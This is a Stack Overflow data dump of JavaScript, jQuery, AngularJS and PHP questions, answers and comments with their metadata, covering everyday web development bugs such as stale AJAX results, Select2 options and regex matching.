has body: I have a control page for my site that allows the admin to change various things about the site. One section allows for the admin to change pages. I use jQuery.get on the page selected to find the contents, then display that in a textarea. This all works fine, and the admin can modify the content and save it. The content IS saved, and the page DOES change once refreshed. However, when I use jQuery.get again to find the new contents of the page, it comes back with the original page content, the old data. No matter how many times I refresh the page the textarea always shows data that shouldn't exist anymore. Here is the isolated edit page code: And changepage.php: <?php if (array_key_exists('text',$_POST) AND array_key_exists('page',$_POST)) { file_put_contents('pages/'.$_POST['page'].'.txt', $_POST['text']); } ?> What have I missed?
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25748565
tagged with: jquery
has title: jQuery.get returns old data
has answer: http://stackoverflow.com/a/25748565
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 4

http://stackoverflow.com/a/25813746
answers question: http://stackoverflow.com/q/25813566
has body: You can use closest() and hide that specific li: $("#dropdown").change(function() { $("li").show(); // show all var index = $(':selected', this).index(); $('#id_checkbox_'+index).closest("li").hide(); // hide which matches the selector }); UPDATED FIDDLE: http://jsfiddle.net/ffs408u6/1/
downvote count: 0
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/comment/40380712
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25813572
type: Comment
has text: Yeah, the obj being created was stuffed with the 'undefined' object then passed back. using 'this' you are just returning the function object itself which still has access to mod2. this link will save you headaches. http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/#designpatternsjavascript

http://stackoverflow.com/a/42738833
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25771837
type: Answer
has body: var keyword is used to create a local scope, by default it uses the global scope. Hence message here points to global scope and you are modifying it in IIFE. You can prevent that using var message = "Xinrui Ma"; var call = (function(){ var message = "I am cool"; })(); alert(message);

ajax4jsf
tags question: http://stackoverflow.com/q/25860758
type: Tag
tag name: ajax4jsf

transition
tags question: http://stackoverflow.com/q/25784961
tags question: http://stackoverflow.com/q/25825976
tags question: http://stackoverflow.com/q/25833248
tags question: http://stackoverflow.com/q/25781440
tags question: http://stackoverflow.com/q/25716693
tags question: http://stackoverflow.com/q/25777238
tag name: transition
tags question: http://stackoverflow.com/q/25872281
type: Tag

http://stackoverflow.com/a/25846537
has comment: http://stackoverflow.com/comment/40445780
downvote count: 0
has body: You can modify inlines depending on current object, just override change_view method of ModelAdmin. In your ProductAdmin add something like this: def change_view(self, request, object_id, form_url='', extra_context=None): product = Product.objects.get(pk=object_id) current_inlines = [] # CODE TO FILL INLINES BASED ON PRODUCT self.inlines = current_inlines return super(ProductAdmin, self).change_view(request, object_id, form_url, extra_context=extra_context)
type: Answer
answers question: http://stackoverflow.com/q/25772856
has comment: http://stackoverflow.com/comment/40449138
score: 4
upvote count: 4

http://stackoverflow.com/q/25753005
has answer: http://stackoverflow.com/a/26838645
has title: Ionic framework not loading ng-model variable
tagged with: angular-ngmodel
tagged with: frameworks
has body: I'm building an Ionic app and I have an issue reading the value of a ng-model. HTML: Controller: .controller('TecnicasCtrl', function($scope, Tecnicas, Servicios,Objetivos,Indicaciones,Contraindicaciones) { ... $scope.limpiarFiltro = function() { alert($scope.objetivosSelec); } ... }) I just want to show on an alert the selected value of the select but nothing is displayed. If I add .val() then a JavaScript error is arised: *Error: $scope.objetivosSelec is undefined* I'm reading the Angular and Ionic doc and everything seems ok. Has anyone an idea of what I'm doing wrong?
tagged with: javascript
score: 0
answer count: 2
tagged with: angularjs
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25771294
type: Question

http://stackoverflow.com/a/25841567
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25839535
answers question: http://stackoverflow.com/q/25839535
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/40433979
has body: possible approach: create an object where you store the markers: var markers={}; When you store the markers inside this object use the venueid as property-name and store the desired properties as marker-properties, for the descs use an array: //inside loop: //when there isn't a marker for the venue //create the marker if(!markers[m.venueid]){ //create the marker markers[m.venueid]=new google.maps.Marker({ position: new google.maps.LatLng(m.lat, m.lng), bounds: true, id : 'mk_' + m.confid, letter : m.index, map: map, title: m.name, venue:m.venue, descs:[] }); google.maps.event.addListener(markers[m.venueid], 'click', function() { infowindow.close(); infowindow.setContent('&lt;div id="content"&gt;'+ '&lt;div id="siteNotice"&gt;'+ '&lt;/div&gt;'+ '&lt;h1 id="firstHeading" class="firstHeading"&gt;'+this.venue + '&lt;/h1&gt;'+ '&lt;div id="bodyContent"&gt;' + this.descs.join('&lt;br/&gt;') + '&lt;/div&gt;'+ '&lt;/div&gt;'); infowindow.open(map,this); }); } push the desc to the descs-property of the marker: markers[m.venueid].descs.push(m.date + " -- " + m.name) Result: http://jsfiddle.net/rf48gvz5/8/
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/q/25840438
has comment: http://stackoverflow.com/comment/40429471
downvote count: 0
tagged with: javascript
tagged with: string
answer count: 3
has answer: http://stackoverflow.com/a/25840804
tagged with: regex
favorite count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/25840448
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25840563
has title: Regular Expression to match all or initial part of a string in JavaScript
score: 1
possible better answer: http://stackoverflow.com/a/25840448
accepted answer: http://stackoverflow.com/a/25840563
has body: I Am trying to find out a Regular expression, which will match with below criteria. My String to Match var txt = "This is Regex"; User can enter anything like below "This" -- Valid "Th" -- Valid "This is" --Valid "This is Reg" -- Valid "This is Regex" -- Valid "Tis" -- InValid "is" -- InValid "Reg" -- InValid So user can enter part of the Text or Full text. If user enters part of text, It should validate for sequence and if it doesn't matach with the txt sequence then its invalid. I am looking for solution using jQuery, But even Plain JavaScript also fine. Just to clarify my requirement I gave above 7 senarios, Its not that only user can enter above 7 (for Ex:- If user Enters "T", then it is alo valid as it is first Character and If user enters only "H" it is invalid, as it is not prceeded by "T"
type: Question

http://stackoverflow.com/q/25754479
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: jquery-select2
type: Question
has answer: http://stackoverflow.com/a/25754786
has comment: http://stackoverflow.com/comment/40272657
score: 1
has body: I have a drop-down (select) to which I apply a .select2(). Now I'm trying to remove/add a option from the drop-down by mark/unmark a checkbox and it's not working. This is the HTML code: -- SELECCIONAR -- MRW - COBRO EN DESTINO DOMESA - COBRO EN DESTINO GRUPO ZOOM - COBRO EN DESTINO And this is the jQuery code I made for this purpose: $('.lives_in_ccs').click(function() { if (this.checked) { $(".shipping_from option[value='MRW']").remove(); $(".shipping_from").select2("val", "DOMESA"); } else { $(".shipping_from").prepend(' MRW - COBRO EN DESTINO '); $(".shipping_from").select2("val", "MRW"); } console.log(this.checked); $(".secure_shipping").toggle(this.checked); }); What's wrong in my code? Here is jsFiddle to play with
has title: Remove item from Select2 is not working
upvote count: 1
answer count: 1
accepted answer: http://stackoverflow.com/a/25754786
has comment: http://stackoverflow.com/comment/40272769
type: AnsweredQuestion

http://stackoverflow.com/a/25843714
has comment: http://stackoverflow.com/comment/40435529
has body: You can't do for loops in pure CSS. Consider using LESS for that purpose. Here's a tutorial on LESS Loops You can achieve this using jQuery ... see the jsFiddle example I prepared for you. var i= 1, val= 0; $('[class^=level_]').each(function(){ $('.level_' + i).css('padding-left',val+'px'); i++; val += 20; });
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40435371
accepted answer of: http://stackoverflow.com/q/25843685
has comment: http://stackoverflow.com/comment/40435464
answers question: http://stackoverflow.com/q/25843685
type: Answer
has comment: http://stackoverflow.com/comment/40436360
score: 1
has comment: http://stackoverflow.com/comment/40435324
upvote count: 1
has comment: http://stackoverflow.com/comment/40436274
downvote count: 0

http://stackoverflow.com/comment/40280702
type: QuestionComment
comment on: http://stackoverflow.com/q/25738118
score: 0
has text: @lan.. I update my question can you pls review it..
type: Comment

http://stackoverflow.com/comment/40437040
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25842448
type: Comment
has text: You could create a new question, asking how to solve it without jquery. Your question posted looks answered correctly though? Hint: Do not modify the dom with insertAfter, modify the data/scope variables and let angular draw the extra element instead

http://stackoverflow.com/comment/40299621
score: 4
has text: There's no pro unless you want to be sure nobody wants to take your job and then maintain your program. Seriously, this is malpractice.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25769696

http://stackoverflow.com/a/25789390
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25789243
has body: You should write var classificationModule = angular.module('mainapp', []); classificationModule.controller('firstcontroll', function($scope) { $scope.text = "Goodday" }); Hello, {{text}} $scope is a variable provided by angular JS' dependency injection system, and basically it works by matching providers to named parameters.
downvote count: 0
type: Answer

http://stackoverflow.com/q/25817925
has comment: http://stackoverflow.com/comment/40388378
has answer: http://stackoverflow.com/a/25821882
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25817962
has title: Why doesn't this code return the full document height?
type: Question
tagged with: dom
has answer: http://stackoverflow.com/a/25817943
has body: The following code should return the full height of the document, but it does not. It says the height is 1023 but (measuring by screenshots and scrolling and photoshop) the actual height is 1804. Why is it wrong? How do I get the full height? var height = Math.max( document.body.scrollHeight, document.body.offsetHeight, document.documentElement.offsetHeight, document.body.clientHeight, document.documentElement.clientHeight ); EDIT I was not clear. I want document height, not window height. By "screenshots and scrolling and photoshop", I meant I did the following: Took a screenshot and copied the window height and put in a new image Scrolled a full window height again and took a new screenshot and pasted that onto #1 Continued until I couldn't scroll anymore and pasted in the remaining height That gave me document height.
score: 0
has answer: http://stackoverflow.com/a/25817972
has comment: http://stackoverflow.com/comment/40389006
tagged with: javascript
has answer: http://stackoverflow.com/a/25818486
answer count: 5
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40260098
score: 0
type: AnswerComment
has text: True - but in theory this still allows for frequencies in the range 15 - 20 kHz, which is where the OP is having problems. It's more likely to be due to the limitations of the transducers at higher frequencies.
type: Comment
comment on: http://stackoverflow.com/a/25747742

http://stackoverflow.com/q/25826666
has comment: http://stackoverflow.com/comment/40403872
has comment: http://stackoverflow.com/comment/40410533
has comment: http://stackoverflow.com/comment/40421558
has title: emit same named events from multiple modules - angularjs
type: Question
has comment: http://stackoverflow.com/comment/40418693
tagged with: javascript
score: 0
tagged with: angularjs
answer count: 0
type: UnansweredQuestion
has body: In my angularjs application i have several modules, what i'm trying to achieve is identify the loaded modules to the application. for this i am using $emit and $on in angularjs. from configurations handling module i listen to the configs send from other modules from run function of configuration module $rootScope.$on('MOD_CONFIG',function(event,data){ console.log('got config'+data.name); }); from other modules run methods i send each modules config by using $rootScope.$emit('MOD_CONFIG',{name : "admin_module"}); $rootScope.$emit('MOD_CONFIG',{name : "chart_module"}); but the problem i'm facing here is only one module is detected in this manner. for example, admin_module is logged correctly to the console but all the others fails, when i comment the admin_module then i can see that the chart_module is working fine. as i can understand only one $emit from the given name is detected? is this the real scenario happening? how can i solve this problem ?

http://stackoverflow.com/q/25714827
has title: Confusion upon the difference between Java Client and Java Server
downvote count: 1
upvote count: 0
type: UnansweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25715042
tagged with: java
score: -1
has body: From my understanding the Java Client is what is rendered onto the browser such as the javascript, "the client side" for example what the user see's (tables, html, the sorting etc) things in the jsp. The server side is the servlet that makes the connection and call the specific class's based upon the request. I feel as though I am completely wrong as when I do research I am getting different answers. CAn I get some clarification on this please.
has comment: http://stackoverflow.com/comment/40198564
answer count: 1
tagged with: jsp
tagged with: javascript
favorite count: 0

http://stackoverflow.com/a/25813321
has body: You may try like this: if(event.creativeId!=null || event.creativeId!= undefined)
type: AcceptedAnswer
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/40380577
score: 1
accepted answer of: http://stackoverflow.com/q/25813240
answers question: http://stackoverflow.com/q/25813240
upvote count: 2

http://stackoverflow.com/q/25733792
has title: Meteor 0.9.1.1: how to use a spinner
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/25739879
type: Question
tagged with: javascript
has body: I'm looking at using this spinner so when something is submitted to the backend I can show the spinner to the client while the backend is doing its thing. I just want to know if I've got the correct idea about this. I call a function "myfunction" from the client to the backend: var result = Meteor.call('myfunction', {}); //start spinner createNewSpinner (selector, spinnerOpts); createLoadingOverlay (target, overlayColor) if(result == true) { //stop spinner destroyLoadingOverlay (selector); } // backend function Meteor.methods({ myfunction: function(data) { // logic here return true; } }); I'm really not sure about my pseudo code, there's not any examples in the documentation of how to use the spinner. Looks like it might be invoked differently than how spin.js is so any pointers/code examples would be appreciated.
answer count: 1
accepted answer: http://stackoverflow.com/a/25739879
tagged with: meteor

http://stackoverflow.com/q/25738453
has title: Input text field instead of drop down for combinations on product page
type: Question
has answer: http://stackoverflow.com/a/25830658
answer count: 1
downvote count: 0
tagged with: javascript
score: 1
favorite count: 0
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40398862
has body: In prestashop 1.6 you have just 2 option for display the combinations to select. Radio button or drop down list. I have 2 attribute, width and lenght. The values from 50 to 300 steb by 1 cm. It's too huge to display in drop down list. I really need a souliton to change the drop down list to input text field. The piece of code from product.tpl( this display on front end on product page): &lt;!-- attributes --&gt; &lt;div id="attributes"&gt; {foreach from=$groups key=id_attribute_group item=group} {if $group.attributes|@count} &lt;fieldset class="attribute_fieldset form-group"&gt; &lt;label class="attribute_label" for="group_{$id_attribute_group|intval}"&gt; {$group.name|escape:'htmlall':'UTF-8'} :&amp;nbsp;&lt;/label&gt; {assign var="groupName" value="group_$id_attribute_group"} &lt;div class="attribute_list"&gt; {if ($group.group_type == 'select')} &lt;select name="{$groupName}" id="group_{$id_attribute_group|intval}" class="attribute_select form-control" onchange="findCombination();getProductAttribute();"&gt; {foreach from=$group.attributes key=id_attribute item=group_attribute} &lt;option value="{$id_attribute|intval}"{if (isset($smarty.get.$groupName) &amp;&amp; $smarty.get.$groupName|intval == $id_attribute) || $group.default == $id_attribute} selected="selected"{/if} title="{$group_attribute|escape:'htmlall':'UTF-8'}"&gt;{$group_attribute|escape:'htmlall':'UTF-8'}&lt;/option&gt; {/foreach} &lt;/select&gt; May have to do some changes in js too.
tagged with: php
tagged with: smarty
has comment: http://stackoverflow.com/comment/40243186
upvote count: 1

http://stackoverflow.com/comment/40447329
type: QuestionComment
comment on: http://stackoverflow.com/q/25850508
has text: And this is why you don't ever reboot your PC ;-)
score: 0
type: Comment

http://stackoverflow.com/comment/40464300
has text: Prototype is attached to the class definition, so you can treat prototype as a static property of class. Then clearly, every instance of a certain class will share the same prototype.
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25859436

http://stackoverflow.com/a/28034835
downvote count: 0
type: Answer
has body: As others have said in the comments, it isn't possible to determine the exact streaming time. Different clients have different behavior with how they handle streams. Consider the case where a browser client may pre-buffer data. If the user goes to a page and the browser begins downloading audio data, the server will think that the client is listening to the stream when in fact the data is just sitting in memory. When the user does start playing the audio, say 1 minute later, the server now believes they have already been listening for a minute. When the user goes to a new page, the connection to the server is dropped, stopping audio at the same time as disconnection. In other cases, media players can actually be paused mid-stream where they buffer the data for several seconds before disconnecting. The best you could do is use client-side analytics, but this isn't possible in all circumstances since you are not always in control over the client, and not all clients would be capable.
answers question: http://stackoverflow.com/q/25867928
score: 1
upvote count: 1

http://stackoverflow.com/q/25855174
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25855462
tagged with: jquery
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has body: I am trying to get a piece of functionality working before implementing it into a website I am building. Now the idea is when a button within the index.php page is pressed the test.php page is filtered based upon the button id (TableID), which has been stored. The button id stored should then be passed via php session to the test.php page, where the mysql query within the test.php gets the passed button id (TableID). The test.php page is then filtered accordingly. Example: 1) User click ths test button 2) The button id stored is passed to a $_Session 3) The user is then redirected to the test.php 4) Within the test.php page the page is filtered based on the button id stored So the test.php page image below if test Test 2 button was pressed would display the following: Test 2 Test 2 Holder - if this isn't being displayed then their is an error. database ** it index.php ** Code So far <?php session_start(); ?> Index Page <!--[if lt IE 9]> <![endif]--> <?php include("php/connection.php"); ?> Page Title <?php $data = mysql_query(" SELECT * FROM tableTest ") or die(mysql_error()); while($info = mysql_fetch_array( $data )) { echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n" . $info['testName'] . " \n"; echo " \n"; echo " View League \n"; echo " \n"; echo " \n"; echo " \n"; } ?> ** test.php ** Test Page Image Code <?php // start session session_start(); ?> Test Page <!--[if lt IE 9]> <![endif]--> <?php include_once("php/connection.php"); ?> <?php include_once("sideNav.php");?> <?php $data = mysql_query(" SELECT testName , testBio FROM tableTest WHERE tableID = 1 GROUP BY tableID ") or die(mysql_error()); $info = mysql_fetch_array( $data ); echo " \n"; echo " " .$info['testName'] . " \n"; echo " "; echo " \n"; echo " Drescription \n"; echo " " . $info['testBio'] . " \n"; echo " \n"; ?> Go Back <?php include_once("footer.php");?>
has title: Set and Get a Button id
tagged with: php
has answer: http://stackoverflow.com/a/25855462
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40455850
tagged with: mysql
type: Question

http://stackoverflow.com/comment/40303796
has text: Why the Chrome or Firefox way is much cleaner ?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25770759
score: 0

http://stackoverflow.com/a/25866662
has body: Since canPlayLive is dependent on liveUrl you should write your code as follows: if (liveUrl ) { this.liveUrl = (liveUrl == '') ? null : liveUrl; } Explanation: when parameter liveUrl is null or undefined the result will always be false otherwise true. Since you want that also empty string will be considered as null we need the second condition. When this.liveUrl having the correct value let's go to canPlayLive variable: this.canPlayLive = this.liveUrl || false; Explanation: When this.liveUrl is null it is considered as false, hence the result will be false. when this.liveUrl is NOT null it is considered as true, hence true or false will always give us true.
type: Answer
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25866417
answers question: http://stackoverflow.com/q/25866417
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/a/25800112
has comment: http://stackoverflow.com/comment/40356003
has comment: http://stackoverflow.com/comment/40355829
type: AcceptedAnswer
has body: &amp;&amp; is a logical operator and doesnt simultaneous execute two statements, but rather evaluates those statements as either a true or false value. Ie. if two conditions are met: If (condition1 &amp;&amp; condition1) { ..Do something .. } Do this instead: $(document).ready(function () { $('#select_rg').change(function () { if ($('#select_rg').val() == 'Registered') { $('#plateread').show(); $('#fix_2').show(); } else { $('#plateread').hide(); $('#fix_2').hide(); } }) .change(); });
score: 0
has comment: http://stackoverflow.com/comment/40355921
type: Answer
accepted answer of: http://stackoverflow.com/q/25800085
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/25800085

http://stackoverflow.com/comment/40454261
has text: Is anything being output to your browser's Console window?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25854378

http://stackoverflow.com/q/25729717
has comment: http://stackoverflow.com/comment/40225989
accepted answer: http://stackoverflow.com/a/25729800
upvote count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/40225924
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40226053
has comment: http://stackoverflow.com/comment/40226057
has comment: http://stackoverflow.com/comment/40226023
type: Question
has answer: http://stackoverflow.com/a/25729800
answer count: 2
has comment: http://stackoverflow.com/comment/40225893
has comment: http://stackoverflow.com/comment/40225964
tagged with: javascript
has title: HTML not calling external JS file
favorite count: 0
score: 0
has body: HTML: Sales Rep: Customer Name: Target URL: Target URL: Target URL: Number of Impressions: Start Date: End Date: Geo Target (Optional): Technologies (Optional): Ad Locations: Top Leaderboard Middle Leaderboard Sidebar JS: The javascript works when inline with the HTML but not working when trying to call it from an external file.
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25730259
has answer: http://stackoverflow.com/a/25730259

http://stackoverflow.com/comment/56286543
comment on: http://stackoverflow.com/q/25815666
type: Comment
type: QuestionComment
has text: Is there a useful way I can edit this question to call out the distinction? I don't feel it's appropriate to just add "note, VAR in a MODULE context", (or something,) because that's basically just rude toward the moderators. But I'm not sure how to clarify that distinction harder in a way that makes it naturally part of the question.
score: 0

http://stackoverflow.com/q/25806833
has comment: http://stackoverflow.com/comment/40367147
has body: In my angular js application i got success response from web service ,and i am trying to displaying the response data in console console.log(JSON.stringify(data)) But the problem is in my success response data has a date element .i have printed the before and after the JSON.stringify(data) the outputs are : before :Tue Aug 14 2012 00:00:00 GMT+0530 (India Standard Time) after JSON.stringify(data) :"2012-08-13T18:30:00.000Z" in after it shows 13 Aug date instead of 14 Aug date . please tell me how can i solve this issue,i want to get 14 aug after JSON.stringify(data) .
tagged with: javascript
has comment: http://stackoverflow.com/comment/40368022
tagged with: date
has comment: http://stackoverflow.com/comment/40367385
has title: how to get date with JSON.stringify(data) in angularjs
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25807048
has comment: http://stackoverflow.com/comment/40367216
favorite count: 0
score: -1
tagged with: angularjs
type: Question
downvote count: 2
tagged with: datetime
answer count: 1
tagged with: http://stackoverflow.com/tag/json
upvote count: 1
has answer: http://stackoverflow.com/a/25807048

http://stackoverflow.com/q/25806799
has answer: http://stackoverflow.com/a/25809174
tagged with: angularjs
type: AnsweredQuestion
has title: SignalR and AngularJS directives
accepted answer: http://stackoverflow.com/a/25809174
type: Question
tagged with: signalr.client
score: 0
answer count: 1
tagged with: javascript
has body: every one. I figure out what is the reson of my recent problem, but now I need an advice how to fix that. The error occurs while I'm trying to start SignalR javascript client (with using https://github.com/JustMaier/angular-signalr-hub) for ng-init directive. Here is the error: Error: SignalR: Connection must be started before data can be sent. Call .start() before .send() at Object.signalR.fn.signalR.send (localhost:4745.lan/Scripts/jquery.signalR-2.1.1. When I use SignalR script for ng-click everithing is ok. Here is just a test app: angular.module('app', ['SignalR']) .factory('SomeService', ['$rootScope', 'Hub', function ($rootScope, Hub) { //declaring the hub connection var hub = new Hub('myHub', { //client side methods listeners: { 'doAction': function (message) { alert(message); console.log("It works"); $rootScope.$apply(); } }, //server side methods methods: ['someAction'], //handle connection error errorHandler: function (error) { console.error(error); } }); var load = function () { console.log(hub); hub.someAction(); //Calling a server method }; return { loadSomeMethod: load }; }]) .controller('appController', ['$scope', 'SomeService', function ($scope, SomeService) { $scope.callMethod = SomeService.loadSomeMethod; $scope.text = "Index from Angular"; }]); View page @{ ViewBag.Title = "Index"; Layout = "~/Views/Shared/_Layout.cshtml"; } &lt;div ng-app="app" ng-controller="appController"&gt; &lt;h2&gt;{{text}}&lt;/h2&gt; &lt;input type="button" name="GreetAll" value="Greet All" ng-click="callMethod()" /&gt; &lt;/div&gt; @section scripts { @Scripts.Render("~/bundles/jquery") @Scripts.Render("~/bundles/jquery.signalR") @*&lt;script src="~/SignalR/Hubs"&gt;&lt;/script&gt;*@ @Scripts.Render("~/bundles/angular") @Scripts.Render("~/bundles/angular-resource") @Scripts.Render("~/bundles/angular-signalr-hub") @Scripts.Render("~/bundles/App") @*@Scripts.Render("~/bundles/AppNew")*@ }

http://stackoverflow.com/a/25870628
has comment: http://stackoverflow.com/comment/40658204
has comment: http://stackoverflow.com/comment/40485025
has comment: http://stackoverflow.com/comment/40708815
upvote count: 7
has comment: http://stackoverflow.com/comment/40707617
score: 7
has comment: http://stackoverflow.com/comment/40696922
has comment: http://stackoverflow.com/comment/40708165
has comment: http://stackoverflow.com/comment/40520571
downvote count: 0
has body: I use the newest Google Chrome and it makes one request. But in your JSFIDDLE example you are loading jQuery twice. First with CSS over style attribute and second in your code over script tag. Improved: JSFIDDLE Hello jQuery(function($) {...} is called when DOM is ready and jQuery(window).load(...); if DOM is ready and every image and other resources are loaded. To put both together nested makes no sense, see also here: window.onload vs $(document).ready() Sure, the image is loaded two times in Network tab of the web inspector. First through your CSS and second through your JavaScript. The second request is probably cached. UPDATE: But every request if cached or not is shown in this tab. See following example: http://jsfiddle.net/95mnf9rm/4/ There are 5 request with cached AJAX calls and 5 without caching. And 10 request are shown in 'Network' tab. When you use your image twice in CSS then it's only requested once. But if you explicitly make a AJAX call then the browser makes an AJAX call. As you want. And then maybe it's cached or not, but it's explicitly requested, isn't it?
answers question: http://stackoverflow.com/q/25819736
has comment: http://stackoverflow.com/comment/40707245
type: Answer
has comment: http://stackoverflow.com/comment/40707864
has comment: http://stackoverflow.com/comment/40484713
has comment: http://stackoverflow.com/comment/40484233
has comment: http://stackoverflow.com/comment/40523450

http://stackoverflow.com/q/25835449
has answer: http://stackoverflow.com/a/25835540
score: 0
has body: Why my function was display incorrect data ? First, Load page index.php it's will display All it's OK. But when you checked checkbox Red it's will display All and Red Why not show only Red ? index.php All Red Blue datas.php <?php echo $_POST[all_color]; echo " "; echo $_POST[color_red]; echo " "; echo $_POST[color_blue]; ?>
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has comment: http://stackoverflow.com/comment/40420395
type: UnansweredQuestion
tagged with: php
type: Question
has comment: http://stackoverflow.com/comment/40419749
tagged with: javascript
tagged with: jquery
has title: Why my function was display incorrect data?
has comment: http://stackoverflow.com/comment/40419847

http://stackoverflow.com/comment/40294810
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25765321
type: Comment
has text: I'm surprised with your answer. +1. textContent returns number?

http://stackoverflow.com/comment/40218945
has text: Why I need to change as the recipe is placing h3 in div and its code is working too, but not in a single file ?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25725898

http://stackoverflow.com/comment/40225950
comment on: http://stackoverflow.com/q/25729423
has text: not to me, but I am sure someone else will understand.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40484386
comment on: http://stackoverflow.com/q/25870898
has text: There's no `java` involved in here ...
score: 2
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25785237
tagged with: javascript
has comment: http://stackoverflow.com/comment/40327849
score: 0
has title: Simulate keypress action along with normal action when user clicks on a div?
answer count: 2
tagged with: keypress
has comment: http://stackoverflow.com/comment/40328040
has comment: http://stackoverflow.com/comment/40351670
tagged with: jquery
has comment: http://stackoverflow.com/comment/40327862
has answer: http://stackoverflow.com/a/25785512
has comment: http://stackoverflow.com/comment/40328187
has comment: http://stackoverflow.com/comment/40328380
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40328913
has body: I have this code set up so that when the user clicks on the .close-video div, another div (#feat-video) fades out. However, the problem is that the div contains a YouTube video and the video keeps playing even after closing the div. I'm wondering if there is a way I can possibly simulate a keypress action (spacebar) when .close-video is clicked so that the video stops playing. Is there some way to incorporate it into this code? I tried incorporating .keypress but was unsuccessful and I'm not even sure if that's the correct event to use. $('.close-video').click(function( e ){ e.preventDefault(); $('#feat-video').fadeOut(500).hide(); $('.video-play-container').fadeIn(500).show(); }); Here is a graphic I made to illustrate. HTML &lt;section id="intro" role="banner"&gt; &lt;div class="section-wrap"&gt; &lt;span class="tagline"&gt;Two Artists. Two Styles. One Remix&lt;/span&gt; &lt;div class="video-play-container"&gt; &lt;div class="video-play-border"&gt; &lt;div class="video-play"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id="feat-video" style="display:none"&gt; &lt;span class="close-video"&gt;&lt;/span&gt; &lt;?php print TubePressPro::getHtmlForShortcode('youtubeHideBlackBars="true"'); ?&gt; &lt;/div&gt; &lt;/div&gt;&lt;!-- .section-wrap --&gt; &lt;/section&gt;&lt;!-- #intro --&gt; Edit: Here's the output for the iframe which embeds the YouTube video. &lt;iframe id="tubepress-video-object-434992883" data-videoid="hSPnHlDDAsc" data-playerimplementation="youtube" data-videoprovidername="youtube" class="youtube-player" type="text/html" width="940" height="530" src="https://www.youtube.com/embed/hSPnHlDDAsc?wmode=opaque&amp;amp;autohide=2&amp;amp;autoplay=1&amp;amp;enablejsapi=1&amp;amp;fs=1&amp;amp;loop=0&amp;amp;modestbranding=1&amp;amp;rel=0&amp;amp;showinfo=0&amp;amp;origin=http%3A%2F%2Fstaging.site.com" frameborder="0" allowfullscreen=""&gt;&lt;/iframe&gt;
linked to: http://stackoverflow.com/q/2128535
has comment: http://stackoverflow.com/comment/40328230
has comment: http://stackoverflow.com/comment/40328433
linked to: http://stackoverflow.com/q/1468384
has comment: http://stackoverflow.com/comment/40340871
type: Question
has answer: http://stackoverflow.com/a/25785360

http://stackoverflow.com/q/25760227
tagged with: javascript
has comment: http://stackoverflow.com/comment/40283692
tagged with: angularjs
answer count: 3
has title: Angular factory: how to use method in object being declared?
has answer: http://stackoverflow.com/a/25760573
has comment: http://stackoverflow.com/comment/40282958
possible better answer: http://stackoverflow.com/a/25760573
tagged with: factory
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40283049
has answer: http://stackoverflow.com/a/25760529
type: Question
score: 0
has answer: http://stackoverflow.com/a/25760545
accepted answer: http://stackoverflow.com/a/25760545
has body: I am creating a factory for my angular app. I am asking how to use a method (here setCurrentUser()) in the same factory I am declaring: app.factory('User', function ($rootScope) { var User = { create: function (authUser, username) { // ... setCurrentUser(username); // &lt;== ERROR }); }, // ... setCurrentUser: function (username) { $rootScope.currentUser = User.findByUsername(username); }, // ... }; return User; }); Using this.setCurrentUser(username) gives an undefined error, of course... Please note I need setCurrentUser to be a method of User factory, since I have to use it from controllers (I can't define it to be a local function of User factory...).

http://stackoverflow.com/a/25780505
has comment: http://stackoverflow.com/comment/40319582
has body: The string contains the " symbol at the start and end, so check if the string is equal to '"true"' instead.
answers question: http://stackoverflow.com/q/25780417
type: Answer
has comment: http://stackoverflow.com/comment/40319704
has comment: http://stackoverflow.com/comment/40319653
score: 0

http://stackoverflow.com/a/25728175
downvote count: 0
answers question: http://stackoverflow.com/q/25728084
score: 1
type: AcceptedAnswer
